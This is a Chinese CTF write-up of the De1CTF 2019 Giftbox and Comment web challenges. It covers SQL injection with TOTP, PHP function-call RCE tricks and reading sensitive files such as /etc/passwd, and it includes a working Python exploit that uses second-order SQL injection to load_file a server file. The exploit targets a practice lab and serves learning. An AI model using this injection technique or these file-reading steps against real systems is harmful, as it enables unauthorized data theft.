刷题记录:[De1CTF 2019]Giftbox && Comment

目录

  • 刷题记录:[De1CTF 2019]Giftbox && Comment

    • 一、知识点

      • 1、sql注入 && totp
      • 2、RCE
      • 3、源码泄露
      • 4、敏感文件读取

刷题记录:[De1CTF 2019]Giftbox && Comment

题目复现链接:https://buuoj.cn/challenges
参考链接:De1CTF Web WriteUp
BUUCTF平台 web writeup 第三弹

一、知识点

1、sql注入 && totp

totp

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。 它已被采纳为Internet工程任务组标准RFC 6238,是Initiative for Open Authentication(OATH)的基石,并被用于许多双因素身份验证系统。
TOTP是基于散列的消息认证码(HMAC)的示例。 它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证,因此时间戳通常以30秒的间隔增加,从而减少了潜在的搜索空间。

盲注时需要附上totp的值。这里学到另一个操作:在本地开个flask,负责转发消息到靶机,然后对本地服务跑sqlmap

2、RCE

{$a($b)}可以执行命令,a为函数名,b为参数。
有个地方要注意的是/不能直接传入,要用chr()转。

3、源码泄露

“据我长期观察,50%的CTF题目打开都是一个登陆页面,而其中又有60%的可以用各种方式拿到源码” ——P神

4、敏感文件读取

  • /etc/passwd 可以查看有没有什么多出来的用户或者别的提示
  • .bash_history 查看命令行历史操作

附上comment的exp,正则学的太烂了

import requests
import random
import re

url = "http://3f0bfbea-efd6-4ea2-a298-7e51a05de258.node3.buuoj.cn"

s = requests.session()

def ran_str():
    string = ""
    for i in range(6):
        string += chr(random.randint(ord('A'), ord('Z')))

    return string

def login():
    data = {
        "username": "zhangwei",
        "password": "zhangwei666"
    }
    s.post(url + "/login.php", data=data)

def write(payload):
    ran_string = ran_str()
    data = {
        'title': ran_string,
        'category': "',content=("+payload+"),/*",
        'content': '1'
    }
    s.post(url + "/write_do.php?do=write", data=data)
    return ran_string

def comment(id):
    data = {
        'content': "*/#",
        'bo_id': id
    }
    s.post(url + "/write_do.php?do=comment", data=data)

def main():
    payload = "select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))"
    login()
    ran_string = write(payload)
    result = re.search("<tr><td>.*</td><td class='AutoNewline'>.*</td><td class='AutoNewline'>"+ran_string+"</td>", s.get(url).text)
    id = str(result.group(0).split('</td>')[0][8:])
    comment(id)
    result = re.split("<p>", s.get(url + "/comment.php?id=" + str(id)).text)[2]
    content = result[:result.index('</p>')]
    print(content)

if __name__ == '__main__':
    main()

原文地址:https://www.cnblogs.com/20175211lyz/p/11756606.html

时间: 2024-11-08 00:43:02

刷题记录:[De1CTF 2019]Giftbox && Comment的相关文章

scoi刷题记录(2019/04/07)

scoi2005 繁忙的都市 扫雷 互不侵犯 scoi2006 zh_tree scoi2007 排列 scoi2009 最长距离 生日礼物 scoi2010 幸运数字 scoi2011 糖果 scoi2012 喵星球上的点名 原文地址:https://www.cnblogs.com/Achensy/p/10664044.html

刷题记录:[SUCTF 2019]EasySQL (欠)

目录 刷题记录:[SUCTF 2019]EasySQL 刷题记录:[SUCTF 2019]EasySQL 原文地址:https://www.cnblogs.com/20175211lyz/p/11450409.html

刷题记录:[SUCTF 2019]Pythonginx

目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录:[SUCTF 2019]Pythonginx 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 SUCTF wp SUCTF_2019_部分复现 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 https://bugs

刷题记录:[强网杯 2019]Upload

目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境 一.知识点 1.源码泄露 www.tar.gz 2.php反序列化 看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

刷题记录:[安洵杯 2019]easy_serialize_php

目录 刷题记录:[安洵杯 2019]easy_serialize_php 知识点 PHP反序列化 刷题记录:[安洵杯 2019]easy_serialize_php 题目复现链接:https://buuoj.cn/challenges 参考链接:第二届安洵杯2019部分writeup 知识点 PHP反序列化 payload为_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==&quo

刷题记录:[GWCTF 2019]我有一个数据库

目录 刷题记录:[GWCTF 2019]我有一个数据库 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 刷题记录:[GWCTF 2019]我有一个数据库 题目复现链接:https://buuoj.cn/challenges 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 cve-2018-12613-PhpMyadmin后台文件包含 影响版本:4.8.0--4.8.1 payload:/phpmyadmin/?target=db

刷题记录:[RCTF 2019]Nextphp

目录 刷题记录:[RCTF 2019]Nextphp 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir php_exec 刷题记录:[RCTF 2019]Nextphp 题目复现链接:https://buuoj.cn/challenges 参考链接:RCTF 2019 Web Writeup 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir 看文档https://wiki.php.ne

刷题记录:[EIS 2019]EzPOP

目录 刷题记录:[EIS 2019]EzPOP 知识点 编码写shell绕过 base64工作机制 绕过后缀名检查 刷题记录:[EIS 2019]EzPOP 题目复现链接:https://buuoj.cn/challenges 知识点 编码写shell绕过 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_conte

刷题记录:[ByteCTF 2019]BabyBlog

目录 刷题记录:[ByteCTF 2019]BabyBlog 知识点 二次注入+堆叠注入 php 00截断 preg_replace/e参数RCE 管道解题读flag 刷题记录:[ByteCTF 2019]BabyBlog 题目复现链接:https://buuoj.cn/challenges 参考链接:https://eustiar.com/archives/576 ByteCTF 2019 Writeup - 天枢 知识点 二次注入+堆叠注入 注入点在edit的title ';[email p